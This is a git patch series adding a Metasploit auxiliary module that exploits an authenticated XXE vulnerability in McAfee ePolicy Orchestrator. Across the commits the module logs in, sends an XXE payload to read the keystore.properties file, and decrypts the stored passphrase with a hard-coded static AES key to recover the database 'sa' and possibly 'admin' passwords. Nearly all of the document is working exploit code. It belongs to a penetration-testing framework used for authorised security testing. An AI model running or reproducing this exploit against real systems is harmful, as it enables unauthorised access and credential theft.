From 794bb658179f6c5eaaca878f928988d9cbe0f2b8 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Wed, 14 Jan 2015 10:54:58 -0600 Subject: [PATCH 1/8] Create mcafee_epo_xxe.rb --- modules/auxiliary/gather/mcafee_epo_xxe.rb | 214 +++++++++++++++++++++ 1 file changed, 214 insertions(+) create mode 100644 modules/auxiliary/gather/mcafee_epo_xxe.rb diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb new file mode 100644 index 0000000000..25a2f73c71 --- /dev/null +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure', + 'Description' => %q{ + This module will exploit an authenticated XXE vulnerability to read the keystore.properties + off of the filesystem. This properties file contains an encrypted password that is set during + installation. What is interesting about this password is that it is set as the same password + as the database 'sa' user and of the admin user created during installation. This password + is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default, + if installed with a local SQL Server instance, the SQL server is listening on all interfaces. + + Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server + user in order to achieve remote command execution with permissions of the database process. If + the administrator has no changed the password for the initially created account since installation, + the attacker also now has the password for this account. By default, 'admin' is recommended. + + Any user account can be used to exploit this, all that is needed is a pair of credentials. + + The most data that can be successfully retrieved is 255 characters due to length restrictions + on the field used to perform the XXE attack. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ', #metasploit module + ], + 'References' => + [ + ], + 'DisclosureDate' => '' + )) + + register_options( + [ + Opt::RPORT(8443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"]), + OptString.new('USERNAME', [true, "The username to authenticate with", "username"]), + OptString.new('PASSWORD', [true, "The password to authenticate with", "password"]) + ], self.class) + + end + + def run + key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used + + aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk + aes.decrypt + aes.padding=1 + aes.key = key + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do') + }) + + cookie = res.get_cookies + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'), + 'method' => 'POST', + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'] + }, + 'cookie' => cookie + }) + + cookie = res.get_cookies + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'), + 'cookie' => cookie + }) + + if res.code != 302 + fail_with(Failure::Unknown, 'Authentication failed') + end + + cookie = res.get_cookies + + #This vuln requires a bit of setup before we can exploit it + + print_status("Setting up some things...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'), + 'cookie' => cookie + }) + + auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/ + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'), + 'vars_get' => { + 'sectionId' => 'orion.automation', + 'tabId' => 'orion.tasklog', + 'orion.user.security.token' => auth_token + }, + 'cookie' => cookie + }) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'), + 'vars_get' => { + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'filter' => 'scheduler.tasklog.filter.day', + 'secondaryFilter' => '', + 'tableCellRendererAttr' => 'taskLogCellRenderer', + 'count' => 44, + 'sortProperty' => 'OrionTaskLogTask.StartDate', + 'sortOrder' => 1, + 'id' => 'taskLogTable' + }, + 'cookie' => cookie + }) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), + 'vars_get' => { + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'orion.user.security.token' => auth_token + }, + 'cookie' => cookie + }) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'), + 'method' => 'POST', + 'vars_post' => { + 'dataSourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'columnWidths' => '285,285,285,285,285,285,285,285', + 'sortColumn' => 'OrionTaskLogTask.StartDate', + 'sortOrder' => '1', + 'showFilters' => 'true', + 'currentIndex' => 0, + 'orion.user.security.token' => auth_token, + 'ajaxMode' => 'standard' + }, + 'cookie' => cookie + }) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'), + 'method' => 'POST', + 'vars_post' => { + 'displayType' => 'text_lookup', + 'operator' => 'eq', + 'propKey' => 'OrionTaskLogTask.Name', + 'instanceId' => 0, + 'orion.user.security.token' => auth_token, + 'ajaxMode' => 'standard' + }, + 'cookie' => cookie + }) + + print_status("Sending payload...") + + xxe = ']>OrionTaskLogTaskMessage.Messageeq&xxe;' + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'), + 'method' => 'POST', + 'vars_post' => { + 'orion.user.security.token' => auth_token, + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'conditionXML' => xxe, + 'secondaryFilter' => '', + 'op' => 'eq', + 'ajaxMode' => 'standard' + }, + 'cookie' => cookie + }) + + print_status("Getting encrypted passphrase value from keystore.properties file...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), + 'vars_get' => { + 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', + 'tableId' => 'taskLogTable', + 'orion.user.security.token' => auth_token + }, + 'cookie' => cookie + }) + + passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/ + + passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+") + + print_status("Base64 encoded encrypted passphrase: " + passphrase) + + passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final + + print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: " + passphrase) + + end +end + From 1ed07bac32814557aed1d376e8415af46f85a1e0 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Wed, 14 Jan 2015 11:01:14 -0600 Subject: [PATCH 2/8] Update mcafee_epo_xxe.rb --- modules/auxiliary/gather/mcafee_epo_xxe.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb index 25a2f73c71..0d9025ce7a 100644 --- a/modules/auxiliary/gather/mcafee_epo_xxe.rb +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -38,8 +38,11 @@ class Metasploit3 < Msf::Auxiliary ], 'References' => [ + ['CVE', '2015-0921'], + ['CVE', '2015-0922'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/8'] ], - 'DisclosureDate' => '' + 'DisclosureDate' => 'Jan 6 2015' )) register_options( From 53e1304afbb8796db68df531eb27f90bee6fb55d Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Wed, 14 Jan 2015 18:19:27 -0600 Subject: [PATCH 3/8] Update mcafee_epo_xxe.rb --- modules/auxiliary/gather/mcafee_epo_xxe.rb | 44 ++++++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb index 0d9025ce7a..c67d4c6e4d 100644 --- a/modules/auxiliary/gather/mcafee_epo_xxe.rb +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -69,6 +69,10 @@ class Metasploit3 < Msf::Auxiliary 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do') }) + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + cookie = res.get_cookies res = send_request_cgi({ @@ -81,12 +85,20 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie }) + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + cookie = res.get_cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'), 'cookie' => cookie }) + + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end if res.code != 302 fail_with(Failure::Unknown, 'Authentication failed') @@ -103,6 +115,10 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie }) + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/ res = send_request_cgi({ @@ -115,6 +131,10 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie }) + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'), 'vars_get' => { @@ -130,6 +150,10 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie }) + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), 'vars_get' => { @@ -140,6 +164,10 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie }) + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'), 'method' => 'POST', @@ -157,6 +185,10 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie }) + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'), 'method' => 'POST', @@ -190,6 +222,14 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie }) + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + + if res.code == 404 + fail_with(Failure::Unknown, "Server likely has mitigation in place") + end + print_status("Getting encrypted passphrase value from keystore.properties file...") res = send_request_cgi({ @@ -202,6 +242,10 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie }) + unless res + fail_with(Failure::Unknown, "Server did not respond in an expected way") + end + passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/ passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+") From 86d5358299fb1af190166f328438144bcfcf899c Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Thu, 15 Jan 2015 09:56:02 -0600 Subject: [PATCH 4/8] Update mcafee_epo_xxe.rb --- modules/auxiliary/gather/mcafee_epo_xxe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb index c67d4c6e4d..02974573f1 100644 --- a/modules/auxiliary/gather/mcafee_epo_xxe.rb +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -108,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary #This vuln requires a bit of setup before we can exploit it - print_status("Setting up some things...") + print_status("Setting up environment for exploitation") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'), From e53522b64ba4d8285280bf8a5df98d09dd26b122 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Thu, 15 Jan 2015 10:28:52 -0600 Subject: [PATCH 5/8] Update mcafee_epo_xxe.rb --- modules/auxiliary/gather/mcafee_epo_xxe.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb index 02974573f1..aa93f21ac0 100644 --- a/modules/auxiliary/gather/mcafee_epo_xxe.rb +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -50,7 +50,6 @@ class Metasploit3 < Msf::Auxiliary Opt::RPORT(8443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']), - OptString.new('FILEPATH', [true, "The filepath to read on the server", "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"]), OptString.new('USERNAME', [true, "The username to authenticate with", "username"]), OptString.new('PASSWORD', [true, "The password to authenticate with", "password"]) ], self.class) @@ -205,7 +204,8 @@ class Metasploit3 < Msf::Auxiliary print_status("Sending payload...") - xxe = ']>OrionTaskLogTaskMessage.Messageeq&xxe;' + filepath = "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties" + xxe = ']>OrionTaskLogTaskMessage.Messageeq&xxe;' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'), @@ -255,7 +255,6 @@ class Metasploit3 < Msf::Auxiliary passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: " + passphrase) - end end From 4e4ca15422c30dc6b27c6dcf19b82d6eb3599277 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Thu, 15 Jan 2015 11:02:11 -0600 Subject: [PATCH 6/8] Update mcafee_epo_xxe.rb --- modules/auxiliary/gather/mcafee_epo_xxe.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb index aa93f21ac0..9144136d4c 100644 --- a/modules/auxiliary/gather/mcafee_epo_xxe.rb +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -250,11 +250,11 @@ class Metasploit3 < Msf::Auxiliary passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+") - print_status("Base64 encoded encrypted passphrase: " + passphrase) + print_status("Base64 encoded encrypted passphrase: #{passphrase}") passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final - print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: " + passphrase) + print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}") end end From 1929f360504bca89efb2e46055fdfad320c0d0d5 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Thu, 15 Jan 2015 16:50:14 -0600 Subject: [PATCH 7/8] Update mcafee_epo_xxe.rb --- modules/auxiliary/gather/mcafee_epo_xxe.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb index 9144136d4c..8aa40a2c63 100644 --- a/modules/auxiliary/gather/mcafee_epo_xxe.rb +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -53,7 +53,6 @@ class Metasploit3 < Msf::Auxiliary OptString.new('USERNAME', [true, "The username to authenticate with", "username"]), OptString.new('PASSWORD', [true, "The password to authenticate with", "password"]) ], self.class) - end def run @@ -256,5 +255,5 @@ class Metasploit3 < Msf::Auxiliary print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}") end + end - From 57ca285f8a941688d6fd85dd362bc39b6e31fe53 Mon Sep 17 00:00:00 2001 From: William Vu Date: Sun, 18 Jan 2015 00:49:52 -0600 Subject: [PATCH 8/8] Fix msftidy warnings --- modules/auxiliary/gather/mcafee_epo_xxe.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb index 8aa40a2c63..ac29c62020 100644 --- a/modules/auxiliary/gather/mcafee_epo_xxe.rb +++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Brandon Perry ', #metasploit module + 'Brandon Perry ' #metasploit module ], 'References' => [ @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary unless res fail_with(Failure::Unknown, "Server did not respond in an expected way") end - + cookie = res.get_cookies res = send_request_cgi({ @@ -86,14 +86,14 @@ class Metasploit3 < Msf::Auxiliary unless res fail_with(Failure::Unknown, "Server did not respond in an expected way") end - + cookie = res.get_cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'), 'cookie' => cookie }) - + unless res fail_with(Failure::Unknown, "Server did not respond in an expected way") end @@ -116,7 +116,7 @@ class Metasploit3 < Msf::Auxiliary unless res fail_with(Failure::Unknown, "Server did not respond in an expected way") end - + auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/ res = send_request_cgi({ @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Auxiliary if res.code == 404 fail_with(Failure::Unknown, "Server likely has mitigation in place") end - + print_status("Getting encrypted passphrase value from keystore.properties file...") res = send_request_cgi({ @@ -255,5 +255,5 @@ class Metasploit3 < Msf::Auxiliary print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}") end - + end